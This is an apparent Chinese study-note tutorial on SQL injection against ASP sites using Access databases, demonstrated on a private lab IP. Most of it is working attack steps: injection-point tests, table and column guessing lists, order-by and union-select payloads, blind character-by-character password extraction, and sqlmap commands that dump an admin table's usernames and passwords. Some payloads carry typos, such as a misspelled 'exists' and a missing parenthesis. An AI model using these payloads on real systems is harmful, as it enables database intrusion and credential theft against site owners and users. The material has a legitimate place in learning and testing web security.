某教程学习笔记(一):07、数据库漏洞(access注入)

简介: 某教程学习笔记(一):07、数据库漏洞(access注入)

一、网站分类


1、静态网页


html或者htm是静态页面,不需要服务器解析其中的脚本


特点:不依赖数据库,灵活性差,制作、更新、维护麻烦,交互性差,功能受限制,安全,不存在数据库注入漏洞


2、动态页面


asp/aspx/php/jsp等,由相应的脚本引擎来解释执行


特点:以来数据库,灵活性好、交互性好、不安全,存在数据库注入漏洞


二、网站访问流程


0a2653c851af460fa595bd959398a8f1.png


三、漏洞产生原因


目标网址:www.aiyou.com/new.php?id=23


1、正常流程数据库返回给网站new页面id为23的信息


2、将参数值23修改为其他的sql语句


3、网站未对该指令进行检测


4、服务器执行了新的语句,并返回给网站


5、客户端根据返回的信息可以继续进一步注入


四、sql注入的危害


1、数据库信息泄露


2、网页被篡改


3、网页被挂马


4、数据库被恶意操作


5、服务器被远程控制


6、破快硬盘数据


五、access数据库


一般配合asp脚本使用,存储数据不能大于100M,只有一个数据库名称,可以创建多个表


1、数据库后缀:*.mdb


2、asp链接access数据库


<%
dimconn,connstr,db
db="Your.mdb"
Setconn= Server.CreateObject("ADODB.Connection")
connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="& Server.MapPath(db)
conn.Openconnstr
%>


3、常用打开工具EasyAccess

0eacb84100b54626af849e6b562bf92a.png


4、漏洞判断


目标:http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513


判断注入点:


http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513/ 报错,可能存在注入

2d65d23f6d4748949b924e4057485923.png


http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and 1=1 返回正常


2e9b90b2ca334476abebe75bafe6eeaa.png

http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and 1=2 返回错误 存在注入

4cebaac233b3433da32a72337a77fc60.png


http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and exsits (select * from msysobjects) > 0 判断access数据库,根据错误提示在msysobjects上没有读取数据权限,说明表存在,从而知道是access数据库

6de278e6d6694ce5bb08e7e842b7e74b.png


5、查询access数据空中的表


http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and exists(select * from user) 根据错误判断除灭有user表

0a2653c851af460fa595bd959398a8f1.png


http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and exists(select * from admin) 正常返回,说明存在admin表

0eacb84100b54626af849e6b562bf92a.png


6、判断列名


http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and exists(select password from admin),正常返回,说明存在列名password


2d65d23f6d4748949b924e4057485923.png


常用用户名:name username user_name admin adminuser admin_user admin_username adminname


常用密码名:password pass userpass user_pass pwd userpwd adminpwd admin_pwd


7、判断表的列数


http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 order by 22 ,正常返回说明有22列,如果没有正常继续修改该数字


2e9b90b2ca334476abebe75bafe6eeaa.png


8、联合查询


http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin,知道admin表一共有22列,所以联合查询需要输入1-22,页面只显示3和15,可以修改该两列获取想要的数值


0a2653c851af460fa595bd959398a8f1.png


六、另一种方法判断:


1、http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and select len(password) from admin)=16 判断密码的长度,返回正常,说明密码长度为16。

0eacb84100b54626af849e6b562bf92a.png


2、 http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,1,1)) from admin)=97 判断密码的第一位,返回正常,说明密码的第一位是a


2d65d23f6d4748949b924e4057485923.png

判断第二位,成功后修改该值,依次判断剩下的密码

2e9b90b2ca334476abebe75bafe6eeaa.png


七、sqlmap工具利用


目标地址:http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513


1、测试是否存在漏洞


sqlmap -u “http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513

0a2653c851af460fa595bd959398a8f1.png


2、获取表名


sqlmap -u “http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513” --tables

0eacb84100b54626af849e6b562bf92a.png


3、获取列名


sqlmap -u “http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513” --columns -T admin

2d65d23f6d4748949b924e4057485923.png


4、获取指定列的内容


sqlmap -u “http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513” -T admin -C admin,password --dump

2e9b90b2ca334476abebe75bafe6eeaa.png


禁止非法,后果自负

目录
相关文章
|
5天前
|
安全 网络安全 数据库
Access denied for user ‘qingtingstpublic’@’171.213.253.88’ (using password: YES)宝塔数据库远程无法连接-宝塔数据远程无法连接的正确解决方案-优雅草央千澈-问题解决
Access denied for user ‘qingtingstpublic’@’171.213.253.88’ (using password: YES)宝塔数据库远程无法连接-宝塔数据远程无法连接的正确解决方案-优雅草央千澈-问题解决
|
3月前
|
存储 SQL 关系型数据库
Mysql学习笔记(二):数据库命令行代码总结
这篇文章是关于MySQL数据库命令行操作的总结,包括登录、退出、查看时间与版本、数据库和数据表的基本操作(如创建、删除、查看)、数据的增删改查等。它还涉及了如何通过SQL语句进行条件查询、模糊查询、范围查询和限制查询,以及如何进行表结构的修改。这些内容对于初学者来说非常实用,是学习MySQL数据库管理的基础。
167 6
|
15天前
|
关系型数据库 MySQL API
新手教程:数据库操作(使用PDO或MySQLi扩展)
本文为新手介绍如何使用PDO和MySQLi扩展连接与操作MySQL数据库。PDO更现代灵活,支持多种数据库,适合大多数应用;MySQLi提供面向过程和面向对象两种API,适合直接控制数据库操作。教程涵盖安装配置、创建连接、执行查询(查询、插入、更新、删除)及错误处理等内容。希望这篇教程能帮助你快速上手PHP中的数据库操作!
82 32
|
1月前
|
SQL Oracle 数据库
使用访问指导(SQL Access Advisor)优化数据库业务负载
本文介绍了Oracle的SQL访问指导(SQL Access Advisor)的应用场景及其使用方法。访问指导通过分析给定的工作负载,提供索引、物化视图和分区等方面的优化建议,帮助DBA提升数据库性能。具体步骤包括创建访问指导任务、创建工作负载、连接工作负载至访问指导、设置任务参数、运行访问指导、查看和应用优化建议。访问指导不仅针对单条SQL语句,还能综合考虑多条SQL语句的优化效果,为DBA提供全面的决策支持。
68 11
|
2月前
|
存储 机器学习/深度学习 监控
南大通用GBase 8s数据库onbar基础使用教程
数据备份与恢复是确保数据安全和业务连续性的关键。onbar作为GBase 8s数据库的备份工具,需配合存储管理器使用,通过配置BAR_BSALIB_PATH等参数,实现数据的备份与恢复。本文详细介绍了onbar的配置、备份、恢复及监控流程,帮助数据库管理员构建高效的数据保护方案。
|
3月前
|
存储 SQL 关系型数据库
【入门级教程】MySQL:从零开始的数据库之旅
本教程面向零基础用户,采用通俗易懂的语言和丰富的示例,帮助你快速掌握MySQL的基础知识和操作技巧。内容涵盖SQL语言基础(SELECT、INSERT、UPDATE、DELETE等常用语句)、使用索引提高查询效率、存储过程等。适合学生、开发者及数据库爱好者。
102 0
【入门级教程】MySQL:从零开始的数据库之旅
|
3月前
|
SQL NoSQL MongoDB
一款基于分布式文件存储的数据库MongoDB的介绍及基本使用教程
一款基于分布式文件存储的数据库MongoDB的介绍及基本使用教程
68 0
|
3月前
|
存储 NoSQL API
.NET NoSQL 嵌入式数据库 LiteDB 使用教程
.NET NoSQL 嵌入式数据库 LiteDB 使用教程~
111 0
|
27天前
|
存储 Oracle 关系型数据库
数据库传奇:MySQL创世之父的两千金My、Maria
《数据库传奇:MySQL创世之父的两千金My、Maria》介绍了MySQL的发展历程及其分支MariaDB。MySQL由Michael Widenius等人于1994年创建,现归Oracle所有,广泛应用于阿里巴巴、腾讯等企业。2009年,Widenius因担心Oracle收购影响MySQL的开源性,创建了MariaDB,提供额外功能和改进。维基百科、Google等已逐步替换为MariaDB,以确保更好的性能和社区支持。掌握MariaDB作为备用方案,对未来发展至关重要。
55 3
|
27天前
|
安全 关系型数据库 MySQL
MySQL崩溃保险箱:探秘Redo/Undo日志确保数据库安全无忧!
《MySQL崩溃保险箱:探秘Redo/Undo日志确保数据库安全无忧!》介绍了MySQL中的三种关键日志:二进制日志(Binary Log)、重做日志(Redo Log)和撤销日志(Undo Log)。这些日志确保了数据库的ACID特性,即原子性、一致性、隔离性和持久性。Redo Log记录数据页的物理修改,保证事务持久性;Undo Log记录事务的逆操作,支持回滚和多版本并发控制(MVCC)。文章还详细对比了InnoDB和MyISAM存储引擎在事务支持、锁定机制、并发性等方面的差异,强调了InnoDB在高并发和事务处理中的优势。通过这些机制,MySQL能够在事务执行、崩溃和恢复过程中保持
63 3